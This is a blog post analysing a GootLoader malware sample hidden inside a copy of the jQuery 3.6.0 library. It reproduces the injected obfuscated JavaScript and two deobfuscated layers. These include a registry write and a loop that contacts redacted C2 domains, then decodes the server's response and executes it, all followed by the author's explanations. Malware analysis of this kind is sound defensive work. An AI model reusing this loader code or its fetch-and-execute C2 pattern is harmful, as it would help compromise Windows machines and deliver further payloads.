

# Loading GootLoader

By Niranjan Hegde

Published: 2022-06-05 · Archived: 2026-04-05 23:14:14 UTC

**Disclaimer: Opinions expressed are solely my own. None of the ideas expressed in this blog post are shared, supported, or endorsed in any manner by my employer.**

In this blog, I will be taking a look at the initial GootLoader sample (MD5: 4dd369b5e028beebe3aa5c980960c502 , Sha256: c1029f0b5f4f6dfbe0fe656f075cbb5ccc2fc308087db21438d73394b75ea020).

Available here: <https://bazaar.abuse.ch/sample/c1029f0b5f4f6dfbe0fe656f075cbb5ccc2fc308087db21438d73394b75ea020/>

The sample is a javascript program which is meant to be executed in windows using wscript.exe.

Opening the sample in a text editor, it appears to look like jquery library 3.6.0 (screenshot below).



Comparing the sample with jquery 3.6.0 downloaded from <https://code.jquery.com/jquery-3.6.0.js>, differences can be observed.

The following lines shows the code inserted to create the sample:

	out4(6670);
	function describe5(dance5, glass5, village9, list3) {
	return dance5.length;

	}
	function out4(board94, wood9, nose8, seem0) {
	join2 = [(2431)];
	present4(join2);
	}
	function record9(is2, kill4, value8) {
	seat07(2187);
	city0 = 1;
	join2[5066387] = death3;
	phrase2 = city0;
	weight5 = phrase2 + city0 * phrase2 + city0;
	}
	function poem2(fast5, where3, had0, near0, choose7, made7, grand0) {
	spend1 = fast5;
	return spend1.substr(where3, had0);
	}
	function death3(first8, east3, black99) {
	through4 = "OMemd";
	shop4 = live4(back59(rub4), through4);
	join2[6004566] = soil6;
	}
	function gone068(does7, boy1) {
	come0 = 0;
	experience7 = 'yernt } ;C5(1.=q7te)cpi ti';
	these9 = ' )ne}(oh)cct;alc e}s t;h)';
	example7 = '.utt"s\pa )it=+\s\"(=(\ "=\\+m S)(2h\\ \"e0fr\"0\\ci))S +\\}\\"({';

voice6 = 'ti;Srf)Wi ((n(d g(nfsxei(.s (i.;\n';
tell2 = '\(-o)D1t\O\'n)\u\ gs}{z\+\'? ((\'W\[\\'S\)+cM(rAg\'i\l\'p\ipt)';
surprise1 = 'je)\'(e=\p( +a)z\'rt \'s(+e)]\'Ii\''(';
syllable42 = 'Sentctierle i{b pyfr';
rather0 = '(E=ntx rcpmuea.tjnrebderOEs enp{tv';
cloud2 = 'v aelfsj(u)bjn[O4cpeothtsi{a o';
money0 = 'yrgoktac=usrhtospn4o;c ';
modern2 = 'tto;\'s\Q\sguReFirn\ t\ t\'(+h))\'g\';(i+ )l\'}R.E Sw\'}(';
move8 = '+()o\' EmRe\'C(l h,i\'a\'h r,w4Ce gou;hd(0';
add6 = 'a)((r\'+\ \')\ sT\ \'E Ne\'=\S% (.\'x\ 2+.';
sleep3 = 't( \'a\le\'M\le %st=Ue/ S \'B\{E ( \';\ x+)) ])+=z\ (\'[';
match9 = 'o{nr; 7c6r-S0e7W=tJ ;u)=r\' Zn\'m( + )S\'{St';
world9 = '\)md%2 eU+;xS8)OE9ef',\ (s2)\ \'+(a@(j\ \'\'\'\' +R\ \'DBBr';
ice3 = 'o)aineers(roehCnTc.mettexapntcit; }rS c';
came7 = '\')(n[+9ir3ett0tle)lu ;{s ';
sheet4 = '(\' \ +;vl)ea\ s\'\'r\ Wl )\ a\')xf(. ';
wall1 = '(i+k)p\'aUt\'-(.+g)s\'nCl_iYe\'p(e+p';
sign9 = 'w+ )w\'eU\_\' l(+s)\ \'\'TeNeE \'d({+. )\'IRW\'l(S+e)cl\'uRr\'t';
life1 = '\( (r+)i\ \'3_n\' (g+<).\  Gf\'z(r';
speed7 = 'WrSccSrWi p=t .9srleetetpe(l2;26973912';
heat1 = 'n+k)t\'ur(W.gq\'o(+c)1\'e0Rg';
book6 = ')p\'oE(Kh\'1(s+2)e\'3Hv\'4(i 5=1 ';
shore0 = '(1+.\ 7\ m)3d \ 5\'{\{8Sy21Mr}\ \'\'\'\'t);( /){\'g(t2,ec';
meant6 = ' \'P\ xHTR.+TDr)\ \'\'le\'(\ p)/l+)/a(\ \'\' c\'H\ e(LN(+MS\ )\ \'\'\'\'\'\'@ \ ()\ :\''+';
we6 = '\'+\ t+\ )\ \'\'\'\'\''+@=(\ x\ \''+\ ,q)N l\ S\'p0\'s\ yb)t\ +\ m=((p=\ '+';
serve7 = '(w+()\ \'\'ase,R)\ \'(\'+()t\')gee;Rn\' (. [W9gr';
round4 = '+s+()pB\ \'\'\'\'t+DX\ \'\'\'\'Or(@\'e\ \'+\'')\ )\'+,\ (\ (\ t+\ \'\'\'\'h)M)\ \'\'\'\'A;(v\  \ r v)\ ,\ '+';
straight4 = 'W \ \'(t)c(e)j;b}Oceattacehr(Ce.)t{p}i';

past6 = '5=1n5m0n)l;yxcbdnmmaqMgO';
noun59 = "\\(%2pm\\3\\o.2)dt3)ns2 a")\\r!;(.= +h });
hurry2 = 'rh.+t\\"s\\S(l(o\\e\\t+eI.)pN)\\"(';
rock9 = 'n4oeigpulh4(.[)w\\3dw\\"'];
has8 = ')L)r)\\\\"\\e (Gp{+\\I\\)Ba(\\=\\(cBMne+Xe(\\\\"\\\\"p/4(o';
control8 = ')4.e;gwu hw;})w\\" I\\\\"ezh[S+. t+p=i;r c}SH';
certain87 = add6 + has8 + shore0 + cloud2 + experience7;
family4 = match9 + life1 + move8;
large7 = speed7 + past6 + money0;
hit1 = sleep3 + meant6 + round4;
feet8 = we6 + tell2 + hurry2 + noun59;
fresh3 = rock9 + serve7 + syllable42 + modern2 + sign9;
shoe8 = surprise1 + heat1 + came7 + these9;
bat8 = wall1 + book6;
special8 = control8 + straight4;
stead8 = example7 + sheet4 + rather0 + ice3 + voice6 + world9;
rub4 = stead8 + feet8 + hit1 + certain87 + family4 + shoe8 + fresh3 + bat8 + special8 + large7;
join2[4833602] = record9;
seat07(6030);
}
function vowel8(well3, poor4, view87, hill8) {
return well3 % (weight5 - phrase2);
}
function visit0(white2, course9, except1, include76, stop4, insect9) {
if (vowel8(except1)) have2 = white2 + course9;
else have2 = course9 + white2;
return have2;

}
function soil6(was2, fell4, noise8, broke48) {
join2[6904665] = law1;
shop4[weight5] = gone068[shop4[come0]];
}
function present4() {
slave2 = back59;
at9 = 4543;
seat07(80947);
while (gone068 = gone068) {
try {
join2[at9](at9);
} catch (egg4) {
join2[2120844] = gone068;
}
at9++
}
}
function trouble8(coast6, similar7, push89, both2) {
return poem2(coast6, similar7, city0);
}
function law1(glad6, drink7, order05, hour8) {
shop4[weight5](shop4[phrase2])(join2);
}
function seat07(sugar9, spell0, stay1, inch6, cow2) {
dry1 = 69;

while (dry1 < (sugar9 * 4652)) {
dry1++
}
}
function live4(car6, particular4, tone0, why6, yard09, cotton8) {
design8 = [];
bear6 = come0;
begin4 = describe5(particular4);
for (rain9 = come0; rain9 <= describe5(car6) - begin4; rain9++) {
if (poem2(car6, rain9, begin4) == particular4) {
design8[describe5(design8)] = poem2(car6, bear6, rain9 - bear6);
bear6 = rain9 + begin4;
}
}
design8[describe5(design8)] = poem2(car6, bear6);
return design8;
}
function back59(took3) {
held8 = come0;
wrote0 = "";
while (held8 < 2341) {
oil9 = trouble8(took3, held8);
wrote0 = visit0(wrote0, oil9, held8);
held8++;
}
return wrote0;
}

One important thing to mention about javascript: If a variable is declared without keywords such as var, it will be treated as global variable.

After reading the code, following points can be observed:

- Function seat07() is incrementing a variable in a loop. The incremented variable is not referred in any part of the code. This is most likely done to increase the execution time and thus timeout sandbox detection. Commenting out the function would speed up the execution.
- Function gone068() contains the obfuscated string which is likely deobfuscated and executed. Generally, deobfuscated string would require one of the following to be executed:
  - eval()
  - function constructor
  - window object
- It would be interesting to see how deobfuscated string is executed in this sample.
- Function law1() and present4() are quite interesting because they are accessing array elements and making a call. They could be used to call deobfuscating routine and execute the deobfuscated string.

After adding breakpoints and running the program in a javascript debugger, first layer of the GootLoader becomes clear:

function anonymous() {
cylnmn = 2976;
letter9 = WScript.CreateObject("WScript.Shell");
huge4 = ("H") + ("KE") + ("Y_C") + ("U") + ("R") + ("R") + ("ENT") + ("_U") + ("SER") + ("") + "\rFRg\l";
try {
letter9[("Reg") + ("Rea") + ("d"])(huge4);
} catch (e) {
letter9[("Re") + ("gWr") + ("i") + ("t") + ("e"])(huge4, "", ("RE") + ("G") + ("_") + ("S") + ("Z"));
J = 70 - 67;
notice7 = 15;
}
try {
shop4[J](slave2(') ;t"r1y8{5 3m7.1o4p"e+nB(=B" {G ")})+(\("%"NEIT"")O+.) \"(A\"Mh\"t(\"+))\"+\" (O\"Dt\"p(s+):)\\"S+N(\"\"(/+))\"D+RH\"[(z+)]+(\(E\"S/Ut%e\"\"() +=(!\" s)t).\"p%\"N)I+\" ((\"+h)p\"\"A)M+\"\"(?+z)g\"nOtDo\"p(m+t)y\"pSINq\"x(=+\"+\"BD,R \"f(a+l)s\"eE)S;U %m\".(s(esngdn(i)r;t S)tcnaetmcno(rei)v{n ErdentauprxnE .f)a)\\"slel;\" (}+ )i\"fe h(Sm\".(s+t)a\"t.utsp i=\"=(=+ )2\"0r0c)S \"{( +v)a\"rW \"x( (=t cme.jrbeOseptoanesreCT.etxpti;r ciSfW (( fxi. i;n)d2e+x8O9f,(2\"(@]\"+\"Br+t\"\"@(\"+,) \"0s)b)\"=(=+-)1\"u s\" (W[S)c(rginpitrt.Sloete.p)((2m3o2d3n2a)r;. h)t aeMl s=e B{ ;x) )=\"

<pre>PxT.Tr\`e(p+l)a\`cHeL(M\`"@(\`+++)B\`+X\`r@e\`",(\`+\"))\`;v rv\`a(r+ )s\` e=S .x2.Lr\`e(p+l)a\`cMeX(\`/((+\`)\d\`{S2M}\`)/(\`gt,c efjubnOcettiaoer C(.qt)p i{r crSeWt u=r nm S{t r)i3n g&lt;. fzr(o meClhiahrrwC o;d0e (=p azr s;e]I\`nktu(.qo,c1.0g)n+i3t0l)u;s n}o)c;l esthnoipl4.[w3w]w(\`s,)\`(t)e;n .WgSncireibpfto.sQsueintt(h)g;i l}. w}w we\`l,s\`ee d{. lWlSecurtikpat-.gsnliepeppo(h1s2e3v4i5l).;w w}w \`z[+ +=; }H `)());</pre>
<pre>} catch (e) {}</pre>
<pre>WScript.sleep(229315150);</pre>
<pre>xbnaqgygka = shop4;</pre>
<pre>}</pre>

Following points can be observed:

- Deobfuscated strings are executed using function constructor.
- It contains obfuscated string which needs to be deobfuscated.
- It also seems to be accessing the registry: HKEY\_CURRENT\_USER

Deobfuscating the string in first layer reveals the second layer of GootLoader:

<pre>H = ["www.-----.de", "www.-----.net", "www.-----.co.uk"];</pre>
<pre>z = 0;</pre>
<pre>while (z &lt; 3) {</pre>
<pre>  m = WScript.CreateObject(("MS") + ("XM") + ("L2.Se") + ("rv") + ("erX") + ("MLH") + ("TTP"));</pre>
<pre>  B = Math.random().toString()[("su") + ("bs") + ("tr"])(2, 98 + 2);</pre>
<pre>  if (WScript.CreateObject(("W") + ("Scr") + ("ipt.") + ("She") + ("ll")).ExpandEnvironmentStrings("%USE" +   ("RD") + ("NS") + ("DO") + ("MA") + ("IN%")) != ("%USE" + ("RD") + ("NS") + ("DO") + ("MA") +   ("IN%")) {</pre>
<pre>    B = B + "4173581";</pre>
<pre>  }</pre>
<pre>  try {</pre>
<pre>    m.open(("G") + ("ET"), ("ht") + ("tps:") + ("//") + H[z] + ("/te") + ("st.p") + ("hp") + "?zgentopmtyplqx=" + B,     false);</pre>
<pre>    m.send();</pre>
<pre>  } catch (e) {</pre>
<pre>    return false;</pre>
<pre>  }</pre>

if (m.status === 200) {
var x = m.responseText;
if ((x.indexOf("@" + B + "@", 0)) == -1) {
WScript.sleep(23232);
} else {
x = x.replace("@" + B + "@", "");
var s = x.replace(/(\d{2})/g, function (q) {
return String.fromCharCode(parseInt(q, 10) + 30);
});
shop4[3](s());
WScript.Quit();
}
} else {
WScript.sleep(12345);
}
z++;
}

The following points can be noted:

- It checks if the environment variable userdnsdomain is set which would indicate that the system is part of AD.
- If active directory is set, then it would add the string "4173581" to parameter value in its requests.
- The C2 communication would look something like this:
  - GET request to server with path: test.php?zgntopmtyplqx=
  - The parameter will be <random value>4173581 if computer is part of AD otherwise only <random value>
  - If the http response status code is anything other than 200, it would sleep for 12345 milliseconds and check for another domain.
  - If the http response status code is 200, then it would look for the string : "@<parameter value sent>@" in the response text.
    - if it is not present, then it will sleep for 23232 milliseconds.
    - If it is present, then it will do the following:
      - Remove the string "@<parameter value sent>@" in the response text.
      - Response text is likely to be series of numbers which are parsed as integers then converted to ascii strings which are then deobfuscated.

If you are interested to read about this campaign, you can read the following blogs:

- <https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/>
- <https://thefirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/>

Have a nice Day!

---

Source: <https://dinhacks.blogspot.com/2022/06/loading-gootloader.html>